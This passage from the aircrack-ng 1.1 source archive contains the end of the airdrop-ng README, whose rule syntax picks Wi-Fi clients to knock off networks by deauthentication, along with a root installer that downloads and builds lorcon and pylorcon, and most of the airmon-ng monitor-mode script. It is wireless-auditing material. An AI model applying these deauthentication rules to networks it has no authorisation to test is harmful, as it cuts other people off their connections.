works best on proprietary hardware. Rules written in this manner will match all OUI's found for that company name Matching a single OUI Example: d/00:50:E4|any This rule will match any bssid that 00:50:E4 as an OUI and kick any clients attached to it The same can be done in the client field d/any|00:50:E4 Note: doing a single OUI will match only that OUI. Note: You can mix and match rule types IE d/apple|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,00:1B:63:00:60:C4 Or a/00:1B:63:00:60:C4|apple However it is not wise to try to mix and match rule types for example d/apple|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,sony this confuses the current parser and makes it unhappy You can complete the same thing with two rules IE d/apple|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A d/apple|sony Airdrop-ng works in a loop Each time the program finishes sending packets it re-parses the airodump file for changes as well as the rule file. This means that it possible to update rules while the program is running. Happy hacking! aircrack-ng-1.1/scripts/airdrop-ng/install.py0000755000000000000000000000726611342020747020021 0ustar rootroot#!/usr/bin/env python __version__ = "1.13.2010.21:00" __author__ = "Marfi" ''' This is the installer file for airdrop-ng. It first checks for different dependancies, such as make, svn, etc. ''' import os, sys from shutil import rmtree if os.geteuid() != 0: print "Installer must be root to run. \nPlease 'su' or 'sudo -i' and try again. \nExiting..." sys.exit(1) class checkDepend: def __init__ (self): clear = "\n" *100 print clear print "Checking for dependancies used by the installer..." self.a = 0 self.deps = ["make", "svn", "tar", "gcc"] for depends in self.deps: if (os.path.isfile("/usr/bin/" + depends) or os.path.isfile("/usr/sbin/" + depends) or os.path.isfile("/usr/local/bin/" + depends) or os.path.isfile("/usr/local/sbin/" + depends) or os.path.isfile ("/bin/" + depends) ) == True: pass else: self.a = 1 print depends + " not installed." if self.a == 0: print "All dependancies installed! Continuing...\n" print "#### NOTE: For Ubuntu based distro's, \npython2.6-dev must be installed. Please \nmake sure it is installed before continuing!\n" else: print "Please install dependancies. Exiting...\n\n" exit() class installAirdrop: def __init__(self): print "Welcome to the airdrop-ng installer!\nYou will be prompted for installing\nAirdrop-ng, lorcon, and pylorcon.\n" yno = raw_input ("Continue with installer? (y/n): ") if yno == "y": pass else: print "Fine, be that way. Exiting..." exit() yno = raw_input ("Install airdrop-ng? (y/n): ") if yno == "y": self.install() else: print "airdrop-ng not installed. Continuing..." pass def install(self): print "Build exist? " if os.path.isdir("build"): rmtree("build") # imported from shutil, or shutil.rmtree() print "File exists. Cleaning it..." os.mkdir ("build") else: os.mkdir ("build") print "Didn't exist. Creating..." # moves everything to build/. This is to keep everything clean, # and not clutter up the directory. os.system ("cp airdrop-ng.py build/ && cp -r lib build/ && cp docs/airdrop-ng.1 build/") print "Files copied. Now, moving to directory..." os.chdir ("build") if os.path.isdir("/usr/lib/airdrop-ng") == True: rmtree ("/usr/lib/airdrop-ng") print "Moving airdrop-ng to /usr/bin, lib to \n/usr/lib/airdrop-ng, and installing man pages..." os.system ("cp airdrop-ng.py /usr/bin/airdrop-ng && cp -r lib /usr/lib/airdrop-ng && cp airdrop-ng.1 /usr/share/man/man1/") #os.chdir ("..") print "airdrop-ng installed! =)" class installLorcon: def __init__(self): yno = raw_input ("Would you like to install lorcon? (y/n): ") if yno == "y": print "Running svn co http://802.11ninja.net/svn/lorcon/branch/lorcon-old. This may take a while..." os.system ("svn co http://802.11ninja.net/svn/lorcon/branch/lorcon-old") os.chdir("lorcon-old") os.system ("./configure && make && make install") print "Creating symlinks..." os.system ("ln -s /usr/local/lib/liborcon-1.0.0.so /usr/lib") os.chdir("..") else: print "Lorcon wasn't installed. " class installPylorcon: def __init__(self): yno = raw_input ("Would you like to install pylorcon? (y/n): ") if yno == "y": import urllib urllib.urlretrieve("http://pylorcon.googlecode.com/files/pylorcon-3.tar.bz2", "pylorcon-3.tar.bz2") os.system ("tar -xvf pylorcon-3.tar.bz2") os.chdir ("pylorcon") os.system ("python setup.py install") os.chdir("..") # What actually runs the classes checkDepend() installAirdrop() installLorcon() installPylorcon() yno = raw_input ("Clean up? (y/n): ") if yno == "y": os.chdir("..") if os.path.isdir("build") == True: rmtree("build") print "Operation(s) complete! May the source be with you. =) " sys.exit() aircrack-ng-1.1/scripts/airmon-ng0000644000000000000000000007064211323142627015545 0ustar rootroot#!/bin/sh USERID="" IFACE="" KISMET=/etc/kismet/kismet.conf CH=$3; [ x$3 = "x" ] && CH=10 IFACE_FOUND="false" MADWIFI=0 MAC80211=0 USE_IW=0 IW_SOURCE="http://wireless.kernel.org/download/iw/iw-0.9.19.tar.bz2" IW_ERROR="" UDEV_ISSUE=0 if [ -f "`which iw 2>&1`" ] then USE_IW=1 fi if [ "x$MON_PREFIX"="x" ] then MON_PREFIX="mon" fi PROCESSES="wpa_action\|wpa_supplicant\|wpa_cli\|dhclient\|ifplugd\|dhcdbd\|dhcpcd\|NetworkManager\|knetworkmanager\|avahi-autoipd\|avahi-daemon\|wlassistant\|wifibox" PS_ERROR="invalid" usage() { printf "usage: `basename $0` [channel or frequency]\n" echo exit } startStdIface() { iwconfig $1 mode monitor >/dev/null 2>&1 if [ ! -z $2 ] then if [ $2 -lt 1000 ] then iwconfig $1 channel $2 >/dev/null 2>&1 else iwconfig $1 freq "$2"000000 > /dev/null 2>&1 fi fi iwconfig $1 key off >/dev/null 2>&1 ifconfig $1 up printf " (monitor mode enabled)" } stopStdIface() { ifconfig $1 down >/dev/null 2>&1 iwconfig $1 mode Managed >/dev/null 2>&1 ifconfig $1 down >/dev/null 2>&1 printf " (monitor mode disabled)" } getModule() { if [ -f "/sys/class/net/$1/device/driver/module/srcversion" ] then srcver1=`cat "/sys/class/net/$1/device/driver/module/srcversion"` for j in `lsmod | awk '{print $1}' | grep -v "^Module$"` do srcver2="`modinfo $j 2>/dev/null | grep srcversion | awk '{print $2}'`" if [ $srcver1 = "$srcver2" ] then MODULE=$j break fi done else MODULE="" fi # return 0 } getDriver() { if [ -e "/sys/class/net/$1/device/driver" ] then DRIVER="`ls -l "/sys/class/net/$1/device/driver" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/'`" BUS="`ls -l "/sys/class/net/$1/device/driver" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)\/.*\/.*$/\1/'`" else DRIVER="" BUS="" fi if [ x$(echo $DRIVER | grep ath5k) != "x" ] then DRIVER="ath5k" fi if [ x$(echo $DRIVER | grep ath9k) != "x" ] then DRIVER="ath9k" fi } scanProcesses() { match=`ps -A -o comm= | grep $PROCESSES | grep -v grep | wc -l` if [ $match -gt 0 -a x"$1" != xkill ] then printf "\n\n" echo "Found $match processes that could cause trouble." echo "If airodump-ng, aireplay-ng or airtun-ng stops working after" echo "a short period of time, you may want to kill (some of) them!" echo -e "\nPID\tName" else if [ x"$1" != xkill ] then return fi fi if [ $match -gt 0 -a x"$1" = xkill ] then echo "Killing all those processes..." fi i=1 while [ $i -le $match ] do pid=`ps -A -o pid= -o comm= | grep $PROCESSES | grep -v grep | head -n $i | tail -n 1 | awk '{print $1}'` pname=`ps -A -o pid= -o comm= | grep $PROCESSES | grep -v grep | head -n $i | tail -n 1 | awk '{print $2}'` if [ x"$1" != xkill ] then printf "$pid\t$pname\n" else kill $pid fi i=$(($i+1)) done } checkProcessesIface() { if [ x"$1" = x ] then return fi match2=`ps -o comm= -p 1 2>&1 | grep $PS_ERROR | grep -v grep | wc -l` if [ $match2 -gt 0 ] then return fi for i in `ps auxw | grep $1 | grep -v "grep" | grep -v "airmon-ng" | awk '{print $2}'` do pname=`ps -o comm= -p $i` echo "Process with PID $i ($pname) is running on interface $1" done } getStack() { if [ x"$1" = x ] then return fi if [ -d /sys/class/net/$1/phy80211/ ] then MAC80211=1 else MAC80211=0 fi } #you need to run getDriver $iface prior to getChipset getChipset() { if [ x"$1" = x ] then return fi CHIPSET="Unknown " if [ x$DRIVER = "xOtus" -o x$DRIVER = "xarusb_lnx" -o x$DRIVER = "xar9170" ] then CHIPSET="AR9001U" fi if [ x$DRIVER = "xzd1211rw" -o x$DRIVER = "xzd1211rw_mac80211" ] then CHIPSET="ZyDAS 1211" fi if [ x$DRIVER = "xacx" -o x$DRIVER = "xacx-mac80211" -o x$DRIVER = "xacx1xx" ] then CHIPSET="TI ACX1xx" fi if [ x$DRIVER = "adm8211" ] then CHIPSET="ADMtek 8211" fi if [ x$DRIVER = "xat76_usb" ] then CHIPSET="Atmel " fi if [ x$DRIVER = "xb43" -o x$DRIVER = "xb43legacy" -o x$DRIVER = "xbcm43xx" ] then CHIPSET="Broadcom" fi if [ x$DRIVER = "xprism54" -o x$DRIVER = "xp54pci" -o x$DRIVER = "xp54usb" ] then CHIPSET="PrismGT " fi if [ x$DRIVER = "xhostap" ] then CHIPSET="Prism 2/2.5/3" fi if [ x$DRIVER = "xr8180" -o x$DRIVER = "xrtl8180" ] then CHIPSET="RTL8180/RTL8185" fi if [ x$DRIVER = "xr8187" -o x$DRIVER = "xrtl8187" ] then CHIPSET="RTL8187 " fi if [ x$DRIVER = "xrt2570" -o x$DRIVER = "xrt2500usb" ] then CHIPSET="Ralink 2570 USB" fi if [ x$DRIVER = "xrt2400" -o x$DRIVER = "xrt2400pci" ] then CHIPSET="Ralink 2400 PCI" fi if [ x$DRIVER = "xrt2500" -o x$DRIVER = "xrt2500pci" ] then CHIPSET="Ralink 2560 PCI" fi if [ x$DRIVER = "xrt61" -o x$DRIVER = "xrt61pci" ] then CHIPSET="Ralink 2561 PCI" fi if [ x$DRIVER = "xrt73" -o x$DRIVER = "xrt73usb" ] then CHIPSET="Ralink 2573 USB" fi if [ x$DRIVER = "xipw2100" ] then CHIPSET="Intel 2100B" fi if [ x$DRIVER = "xipw2200" ] then CHIPSET="Intel 2200BG" fi if [ x$DRIVER = "xipw3945" -o x$DRIVER = "xipwraw" -o x$DRIVER = "xiwl3945" ] then CHIPSET="Intel 3945ABG" fi if [ x$DRIVER = "xipw4965" -o x$DRIVER = "xiwl4965" ] then CHIPSET="Intel 4965AGN" fi if [ x$DRIVER = "xiwlagn" ] then CHIPSET="Intel 4965/5xxx" fi if [ x$DRIVER = "xath_pci" -o x$DRIVER = "xath5k" -o x$DRIVER = "xath9k" ] then CHIPSET="Atheros " fi if [ x$DRIVER = "xorinoco" ] then CHIPSET="Hermes/Prism" fi } getPhy() { PHYDEV="" if [ x"$1" = x ] then return fi if [ x$MAC80211 = "x" ] then return fi PHYDEV="`ls -l "/sys/class/net/$1/phy80211" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/'`" } getNewMon() { i=0 while [ -d /sys/class/net/$MON_PREFIX$i/ ] do i=$(($i+1)) done MONDEV="$MON_PREFIX$i" } if [ x"`which id 2> /dev/null`" != "x" ] then USERID="`id -u 2> /dev/null`" fi if [ x$USERID = "x" -a x$UID != "x" ] then USERID=$UID fi if [ x$USERID != "x" -a x$USERID != "x0" ] then echo Run it as root ; exit ; fi iwpriv > /dev/null 2> /dev/null || { echo Wireless tools not found ; exit ; } if [ x"$1" = xcheck ] || [ x"$1" = xstart ] then scanProcesses for iface in `iwconfig 2>/dev/null | egrep '(IEEE|ESSID|802\.11|WLAN)' | sed 's/^\([a-zA-Z0-9_]*\) .*/\1/' | grep -v wifi` do # getModule $iface # getDriver $iface checkProcessesIface $iface done if [ x"$2" = xkill ] then scanProcesses "$2" fi if [ x"$1" = xcheck ] then exit fi fi printf "\n\n" if [ $# -ne "0" ] then if [ x$1 != "xstart" ] && [ x$1 != "xstop" ] then usage fi if [ x$2 = "x" ] then usage fi fi SYSFS=0 if [ -d /sys/ ] then SYSFS=1 fi printf "Interface\tChipset\t\tDriver\n\n" for iface in `ifconfig -a 2>/dev/null | egrep UNSPEC | sed 's/^\([a-zA-Z0-9_]*\) .*/\1/'` do if [ x"`iwpriv $iface 2>/dev/null | grep ipwraw-ng`" != "x" ] then printf "$iface\t\tIntel 3945ABG\tipwraw-ng" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=ipw3945,$iface,Centrino_abg" >>$KISMET startStdIface $iface $CH iwconfig $iface rate 1M 2> /dev/null >/dev/null iwconfig $iface txpower 16 2> /dev/null >/dev/null fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface iwconfig $iface txpower 15 2> /dev/null >/dev/null iwconfig $iface rate 54M 2> /dev/null >/dev/null fi echo continue fi if [ -e "/proc/sys/dev/$iface/fftxqmin" ] then MADWIFI=1 ifconfig $iface up printf "$iface\t\tAtheros\t\tmadwifi-ng" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then IFACE=`wlanconfig ath create wlandev $iface wlanmode monitor -bssid | grep ath` cp $KISMET~ $KISMET 2>/dev/null && echo "source=madwifi_g,$iface,Atheros" >>$KISMET ifconfig $iface up 2>/dev/null >/dev/null if [ $CH -lt 1000 ] then iwconfig $IFACE channel $CH 2>/dev/null >/dev/null else iwconfig $IFACE freq "$CH"000000 2>/dev/null >/dev/null fi ifconfig $IFACE up 2>/dev/null >/dev/null UDEV_ISSUE=$? fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then echo "$iface does not support 'stop', do it on ath interface" fi echo continue fi done if [ $MADWIFI -eq 1 ] then sleep 1s fi for iface in `iwconfig 2>/dev/null | egrep '(IEEE|ESSID|802\.11|WLAN)' | sed 's/^\([a-zA-Z0-9_]*\) .*/\1/' | grep -v wifi` do getModule $iface getDriver $iface getStack $iface getChipset $DRIVER if [ x$MAC80211 = "x1" ] then getPhy $iface getNewMon printf "$iface\t\t$CHIPSET\t$DRIVER - [$PHYDEV]" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then if [ $USE_IW = 1 ] then IW_ERROR=`iw dev $iface interface add $MONDEV type monitor 2>&1 | grep "nl80211 not found"` if [ x$IW_ERROR = "x" ] then sleep 1s if [ ! -z $3 ] then if [ $3 -lt 1000 ] then iwconfig $MONDEV channel $3 >/dev/null 2>&1 else iwconfig $MONDEV freq "$3"000000 >/dev/null 2>&1 fi fi ifconfig $MONDEV up printf "\n\t\t\t\t(monitor mode enabled on $MONDEV)" else if [ -f /sys/class/ieee80211/"$PHYDEV"/add_iface ] then echo -n "$MONDEV" > /sys/class/ieee80211/"$PHYDEV"/add_iface sleep 1s if [ $3 -lt 1000 ] then iwconfig $MONDEV mode Monitor channel $3 >/dev/null 2>&1 else iwconfig $MONDEV mode Monitor freq "$3"000000 >/dev/null 2>&1 fi ifconfig $MONDEV up printf "\n\t\t\t\t(monitor mode enabled on $MONDEV)" else printf "\n\nERROR: nl80211 support is disabled in your kernel.\nPlease recompile your kernel with nl80211 support enabled.\n" fi fi else if [ -f /sys/class/ieee80211/"$PHYDEV"/add_iface ] then echo -n "$MONDEV" > /sys/class/ieee80211/"$PHYDEV"/add_iface sleep 1s if [ $3 -lt 1000 ] then iwconfig $MONDEV mode Monitor channel $3 >/dev/null 2>&1 else iwconfig $MONDEV mode Monitor freq "$3"000000 >/dev/null 2>&1 fi ifconfig $MONDEV up printf "\n\t\t\t\t(monitor mode enabled on $MONDEV)" else printf "\n\nERROR: Neither the sysfs interface links nor the iw command is available.\nPlease download and install iw from\n$IW_SOURCE\n" fi fi fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then z="`echo $iface | cut -b -${#MON_PREFIX}`" if [ x$z = "x$MON_PREFIX" ] then if [ $USE_IW = 1 ] then IW_ERROR=`iw dev "$iface" interface del 2>&1 | grep "nl80211 not found"` if [ x$IW_ERROR = "x" ] then printf " (removed)" else if [ -f /sys/class/ieee80211/"$PHYDEV"/remove_iface ] then echo -n "$iface" > /sys/class/ieee80211/"$PHYDEV"/remove_iface printf " (removed)" else printf "\n\nERROR: nl80211 support is disabled in your kernel.\nPlease recompile your kernel with nl80211 support enabled.\n" fi fi else if [ -f /sys/class/ieee80211/"$PHYDEV"/remove_iface ] then echo -n "$iface" > /sys/class/ieee80211/"$PHYDEV"/remove_iface printf " (removed)" else printf "\n\nERROR: Neither the sysfs interface links nor the iw command is available.\nPlease download and install iw from\n$IW_SOURCE\n" fi fi else ifconfig $iface down iwconfig $iface mode managed printf "\n\t\t\t\t(monitor mode disabled)" fi fi echo continue fi if [ x$DRIVER = "xorinoco" ] || [ x"`iwpriv $iface 2>/dev/null | grep get_rid`" != "x" ] || [ x"`iwpriv $iface 2>/dev/null | grep dump_recs`" != "x" ] then printf "$iface\t\tHermesI\t\torinoco" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=orinoco,$iface,HermesI" >>$KISMET if [ $CH -lt 1000 ] then iwconfig $iface mode Monitor channel $CH >/dev/null 2>&1 else iwconfig $iface mode Monitor freq "$CH"000000 >/dev/null 2>&1 fi iwpriv $iface monitor 1 $CH >/dev/null 2>&1 ifconfig $iface up printf " (monitor mode enabled)" fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then ifconfig $iface down iwpriv $iface monitor 0 >/dev/null 2>&1 iwconfig $iface mode Managed >/dev/null 2>&1 printf " (monitor mode disabled)" fi echo continue fi if [ x$DRIVER = "xipw2100" ] || [ x"`iwpriv $iface 2>/dev/null | grep set_crc_check`" != "x" ] then printf "$iface\t\tIntel 2100B\tipw2100" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=ipw2100,$iface,Centrino_b" >>$KISMET startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xarusb_lnx" ] || [ x$DRIVER = "Otus" ] then printf "$iface\t\tAR9001USB\tOtus" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then echo "Monitor mode not yet supported" fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xipw2200" ] || [ x"`iwpriv $iface 2>/dev/null | grep sw_reset`" != "x" ] then MODINFO=`modinfo ipw2200 2>/dev/null | awk '/^version/ {print $2}'` if { echo "$MODINFO" | grep -E '^1\.0\.(0|1|2|3)$' ; } then echo "Monitor mode not supported, please upgrade" else printf "$iface\t\tIntel 2200BG\tipw2200" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=ipw2200,$iface,Centrino_g" >>$KISMET startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi if { echo "$MODINFO" | grep -E '^1\.0\.(5|7|8|11)$' ; } then printf " (Warning: bad module version, you should upgrade)" fi fi echo continue fi if [ x$DRIVER = "xcx3110x" ] || [ x"`iwpriv $iface 2>/dev/null | grep set_backscan`" != "x" ] then printf "$iface\t\tNokia 770\t\tcx3110x" if [ x$1 = "xstart" ] || [ x$1 = "xstop" ] then printf " (Enable/disable monitor mode not yet supported)" fi echo continue fi if [ x$DRIVER = "xipw3945" ] || [ x"`iwpriv $iface 2>/dev/null | grep set_preamble | grep -v set_crc_check`" != "x" ] then printf "$iface\t\tIntel 3945ABG\tipw3945" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=ipw3945,$iface,Centrino_g" >>$KISMET startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x"`iwpriv $iface 2>/dev/null | grep inact_auth`" != "x" ] then if [ -e "/proc/sys/net/$iface/%parent" ] then printf "$iface\t\tAtheros\t\tmadwifi-ng VAP (parent: `cat /proc/sys/net/$iface/%parent`)" if [ x$2 = x$iface ] && [ x$1 = "xstop" ] then wlanconfig $iface destroy printf " (VAP destroyed)" fi if [ x$1 = "xstart" ] then if [ $iface = "$IFACE" ] then printf " (monitor mode enabled)" fi if [ x$2 = x$iface ] then printf " (VAP cannot be put in monitor mode)" fi fi echo "" continue fi printf "$iface\t\tAtheros\t\tmadwifi" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=madwifi_g,$iface,Atheros" >>$KISMET startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xprism54" ] || [ x"`iwpriv $iface 2>/dev/null | grep getPolicy`" != "x" ] then printf "$iface\t\tPrismGT\t\tprism54" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=prism54g,$iface,Prism54" >>$KISMET ifconfig $iface up if [ $CH -lt 1000 ] then iwconfig $iface mode Monitor channel $CH else iwconfig $iface mode Monitor freq "$CH"000000 fi iwpriv $iface set_prismhdr 1 >/dev/null 2>&1 printf " (monitor mode enabled)" fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xhostap" ] || [ x"`iwpriv $iface 2>/dev/null | grep antsel_rx`" != "x" ] then printf "$iface\t\tPrism 2/2.5/3\tHostAP" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=hostap,$iface,Prism2" >>$KISMET if [ $CH -lt 1000 ] then iwconfig $iface mode Monitor channel $CH else iwconfig $iface mode Monitor freq "$CH"000000 fi iwpriv $iface monitor_type 1 >/dev/null 2>&1 ifconfig $iface up printf " (monitor mode enabled)" fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xwlan-ng" ] || [ x"`wlancfg show $iface 2>/dev/null | grep p2CnfWEPFlags`" != "x" ] then printf "$iface\t\tPrism 2/2.5/3\twlan-ng" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=wlanng,$iface,Prism2" >>$KISMET wlanctl-ng $iface lnxreq_ifstate ifstate=enable >/dev/null wlanctl-ng $iface lnxreq_wlansniff enable=true channel=$CH \ prismheader=true wlanheader=false \ stripfcs=true keepwepflags=true >/dev/null echo p2CnfWEPFlags=0,4,7 | wlancfg set $iface ifconfig $iface up printf " (monitor mode enabled)" fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then ifconfig $iface down wlanctl-ng $iface lnxreq_wlansniff enable=false >/dev/null wlanctl-ng $iface lnxreq_ifstate ifstate=disable >/dev/null printf " (monitor mode disabled)" fi echo continue fi if [ x$SYSFS = "x" ] && [ x"`iwpriv $iface 2>/dev/null | grep get_RaAP_Cfg`" != "x" ] then if [ x"`iwconfig $iface | grep ESSID | awk -F\ '{ print $2}' | grep -i rt61`" != "x" ] then printf "$iface\t\tRalink 2561 PCI\trt61" fi if [ x"`iwconfig $iface | grep ESSID | awk -F\ '{ print $2}' | grep -i rt73`" != "x" ] then printf "$iface\t\tRalink 2573 USB\trt73" fi if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then startStdIface $iface $CH iwpriv $iface rfmontx 1 if [ x"`iwpriv $iface 2>/dev/null | grep forceprismheader`" != "x" ] then iwpriv $iface forceprismheader 1 fi if [ x"`iwpriv $iface 2>/dev/null | grep forceprism`" != "x" ] then iwpriv $iface forceprism 1 fi fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xrt61" ] then printf "$iface\t\tRalink 2561 PCI\trt61" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then startStdIface $iface $CH iwpriv $iface rfmontx 1 if [ x"`iwpriv $iface 2>/dev/null | grep forceprismheader`" != "x" ] then iwpriv $iface forceprismheader 1 fi if [ x"`iwpriv $iface 2>/dev/null | grep forceprism`" != "x" ] then iwpriv $iface forceprism 1 fi fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xrt73" ] then printf "$iface\t\tRalink 2573 USB\trt73" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then startStdIface $iface $CH iwpriv $iface rfmontx 1 if [ x"`iwpriv $iface 2>/dev/null | grep forceprismheader`" != "x" ] then iwpriv $iface forceprismheader 1 fi if [ x"`iwpriv $iface 2>/dev/null | grep forceprism`" != "x" ] then iwpriv $iface forceprism 1 fi fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xrt2500" ] || [ x"`iwpriv $iface 2>/dev/null | grep bbp`" != "x" ] then printf "$iface\t\tRalink 2560 PCI\trt2500" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=rt2500,$iface,Ralink_g" >>$KISMET iwconfig $iface mode ad-hoc 2> /dev/null >/dev/null startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xrt2570" ] || [ x"`iwpriv $iface 2>/dev/null | grep wpapsk`" != "x" ] && [ x"`iwpriv $iface 2>/dev/null | grep get_RaAP_Cfg`" = "x" ] then printf "$iface\t\tRalink 2570 USB\trt2570" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=rt2500,$iface,Ralink_g" >>$KISMET iwconfig $iface mode ad-hoc 2> /dev/null >/dev/null startStdIface $iface $CH if [ x"`iwpriv $iface 2>/dev/null | grep forceprismheader`" != "x" ] then iwpriv $iface forceprismheader 1 fi if [ x"`iwpriv $iface 2>/dev/null | grep forceprism`" != "x" ] then iwpriv $iface forceprism 1 fi fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xr8180" ] || [ x"`iwpriv $iface 2>/dev/null | grep debugtx`" != "x" ] then printf "$iface\t\tRTL8180/RTL8185\tr8180" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=rt8180,$iface,Realtek" >>$KISMET if [ $CH -lt 1000 ] then iwconfig $iface mode Monitor channel $CH else iwconfig $iface mode Monitor freq "$CH"000000 fi if [ x"`iwpriv $iface 2>/dev/null | grep prismhdr`" != "x" ] then iwpriv $iface prismhdr 1 >/dev/null 2>&1 fi ifconfig $iface up printf " (monitor mode enabled)" fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xr8187" ] || [ x"`iwpriv $iface 2>/dev/null | grep badcrc`" != "x" ] then printf "$iface\t\tRTL8187\t\tr8187" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=rt8180,$iface,Realtek" >>$KISMET if [ $CH -lt 1000 ] then iwconfig $iface mode Monitor channel $CH else iwconfig $iface mode Monitor freq "$CH"000000 fi if [ x"`iwpriv $iface 2>/dev/null | grep rawtx`" != "x" ] then iwpriv $iface rawtx 1 >/dev/null 2>&1 fi ifconfig $iface up printf " (monitor mode enabled)" fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xzd1211rw" ] || [ x"`iwpriv $iface 2>/dev/null | grep get_regdomain`" != "x" ] then printf "$iface\t\tZyDAS 1211\tzd1211rw" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=zd1211,$iface,ZyDAS" >>$KISMET startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xzd1211" ] || [ x"`iwpriv $iface 2>/dev/null | grep dbg_flag`" != "x" ] then printf "$iface\t\tZyDAS 1211\tzd1211" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=zd1211,$iface,ZyDAS" >>$KISMET startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xacx" ] || [ x"`iwpriv $iface 2>/dev/null | grep GetAcx1`" != "x" ] then printf "$iface\t\tTI ACX1xx\tacx" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=acx100,$iface,TI" >>$KISMET iwpriv $iface monitor 2 $CH 2> /dev/null >/dev/null startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xbcm43xx" ] || [ x"`iwpriv $iface 2>/dev/null | grep write_sprom`" != "x" ] then printf "$iface\t\tBroadcom\tbcm43xx" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then cp $KISMET~ $KISMET 2>/dev/null && echo "source=bcm43xx,$iface,broadcom" >>$KISMET startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface ifconfig $iface up fi echo continue fi if [ x$DRIVER = "xislsm" ] || [ x"`iwpriv $iface 2>/dev/null | grep set_announcedpkt`" != "x" ] then printf "$iface\t\tPrismGT\t\tislsm" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xat76c503a" ] || [ x"`iwpriv $iface 2>/dev/null | grep set_announcedpkt`" != "x" ] then printf "$iface\t\tAtmel\t\tat76c503a" if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER = "xndiswrapper" ] || [ x"`iwpriv $iface 2>/dev/null | grep ndis_reset`" != "x" ] then printf "$iface\t\tUnknown\t\tndiswrapper" if [ x$2 